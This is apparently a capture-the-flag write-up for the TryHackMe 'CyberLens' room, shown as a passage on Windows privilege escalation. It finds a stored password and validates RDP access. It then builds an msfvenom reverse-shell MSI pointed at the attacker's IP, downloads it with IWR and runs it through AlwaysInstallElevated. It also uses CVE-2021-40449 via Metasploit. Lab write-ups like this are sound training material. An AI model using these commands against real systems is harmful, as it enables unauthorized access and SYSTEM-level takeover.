Let us see if we can do some **`enumeration`** and find if **`passwords`** of any users are stored in **`files`** etc, which is a pretty common thing that is found in **`real world pentests`** too. Let us check out a few **`common`** file types that passwords could be stored in such as **`.txt`**, .**`xml`**, **`.ini`** etc.

We can firstly look within **`CyberLens's home`** folder

&#x20;**`Command`**:

```python
Get-ChildItem -Path . -Recurse -Include *.txt,*.xml,*.ini
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FfWWqY3lPm7zmU2tWBxY3%2Fimage.png?alt=media&amp;token=248cef7b-30bc-400a-a170-b5887a54dd02" alt=""><figcaption></figcaption></figure>

There is a file called **`CyberLens-Management.txt`**.

Let us check it out:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fpwpq0CGZNVm9kQsbGj5r%2Fimage.png?alt=media&amp;token=65b205a9-dcef-4618-b8e1-8e705fb41ca0" alt=""><figcaption></figcaption></figure>

And indeed we find **`CyberLens's`** password.

Also the **`Nmap`** scan shows us that port **`3389`** is open. Let us confirm we if can **`RDP`** in as **`CyberLens`**:

**`Command`**:

```python
netexec rdp cyberlens.thm -u CyberLens -p 'insert_password'
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FShvhLG5QeoPw0j1haiwe%2Fimage.png?alt=media&amp;token=b15e22bd-faba-4242-8fe8-8e6e2edce049" alt=""><figcaption></figcaption></figure>

**`NetExec`** says **`Pwn3d!`**. This means the creds are **`valid`** and we can **`RDP`** in.

**`Note`**:

**`RDP`** ing  is **`not needed`** considering we already have a **`shell`** as **`CyberLens`**. Below shown are the steps to follow if you want to try it out.

**`Command`**:

```python
xfreerdp /u:CyberLens /p:'insert_password' /v:cyberlens.thm /dynamic-resolution
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnrI5db8sJTAznZUMEI5o%2Fimage.png?alt=media&amp;token=6e5e9982-b244-4edc-b5de-78d47311c700" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIbEJRfX3Mr1Eyv1s07Iq%2Fimage.png?alt=media&amp;token=0323d102-67b8-4023-a84f-082d78976557" alt=""><figcaption></figcaption></figure>

We have got in.

**`Privilege Escalation to SYSTEM (Intended Way)`**:

We can firstly check if **`Windows Defender`** is running or not:

**`Command`**:&#x20;

```python
sc.exe query WinDefend
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FX3NM0yfur1NqVPdjafCt%2Fimage.png?alt=media&amp;token=22253e0f-d562-4d90-814d-d0c6d8037777" alt=""><figcaption></figcaption></figure></div>

We can see that the **`STATE`** is **`STOPPED`**, which means **`Defender`** is **`not`** runnning.

Now let us use **`WinPEAS`** on the machine by serving it via a **`python server`** and a **`64-bit WinPEAS`** is what we need as the target system is **`64-bit`** .

We can write to the **`home`** folder or **`Desktop`** folder of the user **`CyberLens`** as we have **`Full Control (F)`** in these locations:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDE6DEvhrqgNSfvIuH584%2Fimage.png?alt=media&amp;token=5b81ceb3-e738-4b4c-aff3-bb5d39e7279d" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```python
IWR -Uri http://10.11.75.84:4545/winPEASx64.exe -OutFile winPEASx64.exe
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4fVMniSBqvHWGRHH6Kq1%2Fimage.png?alt=media&amp;token=3c44c740-fc8e-4db8-bd86-b226466e8518" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FaCltDIvE0suWM922HCaJ%2Fimage.png?alt=media&amp;token=3d11cd8b-db22-4385-ad48-37c7b7965b62" alt=""><figcaption></figcaption></figure>

**`Running WinPEAS`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FGXaUYT1rHvGkKpXc6VFa%2Fimage.png?alt=media&amp;token=e09477bb-74fa-4313-ad07-ad630c3c81c8" alt=""><figcaption></figcaption></figure>

We then come across this:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnBrvjdgT4HVqBVzSsdWY%2Fimage.png?alt=media&amp;token=fd295749-2b24-4103-9253-4f7774613a6b" alt=""><figcaption></figcaption></figure>

We can see that the **`AlwaysInstallElevated Policy`** is set to **`1 (Enabled)`** for both **`HKLM (HKEY_LOCAL_MACHINE)`** & **`HKCU (HKEY_CURRENT_USER)`** registry hives. This policy allows **`non-administrative users`** to **`install`** software with **`elevated privileges`**. In this case it is enabled globally (for all users) as well as for the current user on the system.

This policy allows a **`regular user`** to install **`MSI`** files with **`high/elevated`** privileges.

**`Manually`** enumerating the status of **`AlwaysInstallElevated`**:

**`Commands`**:

```python
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F7gf5XGCsgkfoDUXeHuLJ%2Fimage.png?alt=media&amp;token=100f6c00-9059-4d81-a987-3005fd7a134f" alt=""><figcaption></figcaption></figure>

This can be abused by us in order to **`escalate privileges`** to become **`SYSTEM`** by crafting a **`malicious MSI`** file.&#x20;

{% embed url="<https://juggernaut-sec.com/alwaysinstallelevated/#Abusing_AlwaysInstallElevated_to_Obtain_a_SYSTEM_Shell>" %}

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FjaK680FiARSP9YiRmvTR%2Fimage.png?alt=media&amp;token=3d2cbaba-9738-42c7-b037-648e94edd11f" alt=""><figcaption></figcaption></figure>

We can create a **`.msi`** payload using **`msfvenom`**&#x61;nd this can be served via a **`python server`**.

**`Command`**:

```python
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.75.84 LPORT=443 -a x64 --platform windows -f msi -o evil.msi
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxvDp0fFSbT4MMtI8bwzP%2Fimage.png?alt=media&amp;token=85fe8dd7-d877-42df-91bf-cb01fe74d6c5" alt=""><figcaption></figcaption></figure>

**`Command`**:

```python
IWR -Uri http://10.11.75.84:4545/evil.msi -OutFile evil.msi
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FI97YoNywtq3QoXREPJbC%2Fimage.png?alt=media&amp;token=cb9c06aa-0a5e-48d9-9182-18cf03516aab" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F3aDbvz23SIKjfLkugPWm%2Fimage.png?alt=media&amp;token=df94b974-988a-4a80-ab11-d387d9d57477" alt=""><figcaption></figcaption></figure></div>

Now let us setup a listener on port **`443`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FLyYzTE064LGyyiQZNT3w%2Fimage.png?alt=media&amp;token=8cdbee33-d016-4223-a646-54e0f27d07ca" alt=""><figcaption></figcaption></figure></div>

Running the **`bad MSI`** file:

**`Command`**:

```python
msiexec.exe /i evil.msi
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FAOFZtE9DpUlDzGt0cIqE%2Fimage.png?alt=media&amp;token=b414584b-f899-4ec0-9795-1f064d19ee82" alt=""><figcaption></figcaption></figure>

Now let us check out our listener:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVIJhvEd2DTbWwoCw5KPb%2Fimage.png?alt=media&amp;token=79ed0592-dd16-413c-88b3-a3039a0ad685" alt=""><figcaption></figcaption></figure></div>

We have successfully got a shell as **`SYSTEM`**. The **`admin flag`** can be found in the **`Desktop`** folder of **`Administrator`**.

The same can be done via **`Metasploit`** too (**`exploit/windows/local/always_install_elevated`**).

**`Privilege Escalation to SYSTEM (Unintended Way)`**:

Let us check out the **`OS Version`** on the machine:

**`Command`**:

```python
systeminfo | findstr /B /C:"OS Version"
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIn3iHQKqgsfIGUmxPRLL%2Fimage.png?alt=media&amp;token=58c26819-fc93-465a-a08b-4bddfd97d4ea" alt=""><figcaption></figcaption></figure></div>

It is **`10.0.17763 N/A Build 17763`**. We can now check out exploits for the same

And we get this in one of the results:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FiUV4D8by8c2sVXCC3ryl%2Fimage.png?alt=media&amp;token=6fab4e99-5142-4f73-aa6d-a8522712af24" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FaEO3Qh8mo4zJGTwfGoEZ%2Fimage.png?alt=media&amp;token=9839c811-7e0f-4d0f-b3fc-a38229fc8f95" alt=""><figcaption></figcaption></figure>

It is a **`LPE (Privilege Escalation)`** exploit.

**`CVE-2021-40449 (Win32k - LPE)`**:

{% embed url="<https://github.com/ly4k/CallbackHell>" %}
CVE-2021-40449
{% endembed %}

We can check out the repo:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSgHjxwM2PEr7gAuPue4s%2Fimage.png?alt=media&amp;token=10d73c8b-05eb-4bb2-b7fa-8e5b089dd5cc" alt=""><figcaption></figcaption></figure>

We can see that the **`exact version`** that we have on the **`target`** is **`vulnerable`** to this **`LPE`** exploit.

This can be used to get to **`SYSTEM`**.

The repo **`doesn't have`** pre-compiled binaries. The **`.sln`** file has to be compiled to an **`.exe`** file and this can be achieved by using **`Visual Studio`**. There are other ways to do it too, but it is a **`lengthy procedure`**. Instead we can exploit this in an **`easier`** way using **`Metasploit`**.

**`Note`**:&#x20;

We can use the **`meterpreter shell`** that we had got by exploiting the **`Apache Tika CVE`** initially to run the above mentioned **`LPE`** exploit or we can use the **`web_delivery`** exploit in the shell that we got by **`manually`** exploiting the **`Tika CVE`**. The **`easier`** and the more practical way of getting a **`meterpreter`** shell would be through **`web_delivery`**. But in this case since we have a **`meterpreter`** shell from before, I will be using that as it is a shell obtained in the **`context`** of  this machine and mainly cause you have the **`option`** to **`choose`** which way you would like to follow to get to **`SYSTEM`**. Also for the **`LPE`** exploit, a couple repo's containing the pre built binary was found but they **`didn't work`**.&#x20;

**`Getting the shell as CyberLens by exploiting CVE-2018-1335`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNe6vX65JyDNnpEmIBuvx%2Fimage.png?alt=media&amp;token=4c636c64-9468-4605-9dc3-ddf6ace60e7d" alt=""><figcaption></figcaption></figure>

**`CVE-2021-40449 Exploitation`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FbvLHCwXqhrQxbNQVW7Cy%2Fimage.png?alt=media&amp;token=37f4a604-44e7-4dc9-92ed-07b6f5275823" alt=""><figcaption></figcaption></figure>

The initial **`meterpreter`** shell is **`backgrounded`** (**`bg`**) so that it can be used with the exploit.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSTkx2XTYmY5SztzHbLNA%2Fimage.png?alt=media&amp;token=acb6d297-8086-40d7-a167-9cc1de997831" alt=""><figcaption></figcaption></figure>

Setting the **`options`**:

We have to firstly set the **`SESSION`**, which is basically the initial shell that we had obtained. This is how the exploit module knows where to perform the **`LPE`** exploit on.&#x20;

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FhSicqNQoxI5TtiuBSPTj%2Fimage.png?alt=media&amp;token=bf853cda-32c6-4d35-bfa4-f16b38043168" alt=""><figcaption></figcaption></figure>

**`Note`**:

The **`SESSION`** count is **`3`** for me as this is the **`3rd session`** that I have opened. This **`won't`** be the same in your case, it depends on how many sessions were opened before using the **`Apache Tika Metasploit`** exploit. Make sure to type in the **`meterpreter`** command - **`sessions`** to find out your current session **`ID`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fq93cujZUcb8Xb4V4LSUW%2Fimage.png?alt=media&amp;token=89e70ea4-90cb-44f0-8049-3c1b3faa53a6" alt=""><figcaption></figcaption></figure></div>

We had left the **`LPORT`** to the default setting of port **`4444`** initially while performing the **`Tika`** exploit via **`Metasploit`**. Now we would have to use a different **`LPORT`** for the exploit to listen on, so we can set it to **`5555`**.&#x20;

Now we just **`run`** the exploit:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIQsvVhwHYg7c6jzWmntA%2Fimage.png?alt=media&amp;token=ba7f7e7f-6ad0-42c9-9831-e6b431414418" alt=""><figcaption></figcaption></figure>

We are **`SYSTEM`** again.

We could also find the **`LPE`** exploit in a simpler way through the **`meterpreter`** shell itself by using **`Metasploit's Lester (Local Exploit Suggester)`**:

{% embed url="<https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/>" %}

This **`module`** scans the system and it **`finds`** and **`lists`** out possible **`vulnerabilities`**.

**`Command`**:

```python
run post/multi/recon/local_exploit_suggester
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwPFHPd3nTEHolGRN66pT%2Fimage.png?alt=media&amp;token=3057a041-fc9d-464c-9b12-80ac641524ea" alt=""><figcaption></figcaption></figure>

**`Note`**:

All exploits mentioned by the **`suggester`** were tried out but the only one that worked was **`CVE-2021-40449`**. Also there are multiple **`post exploitation`** recon tools like **`Lester`** that yields the same result as shown above.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
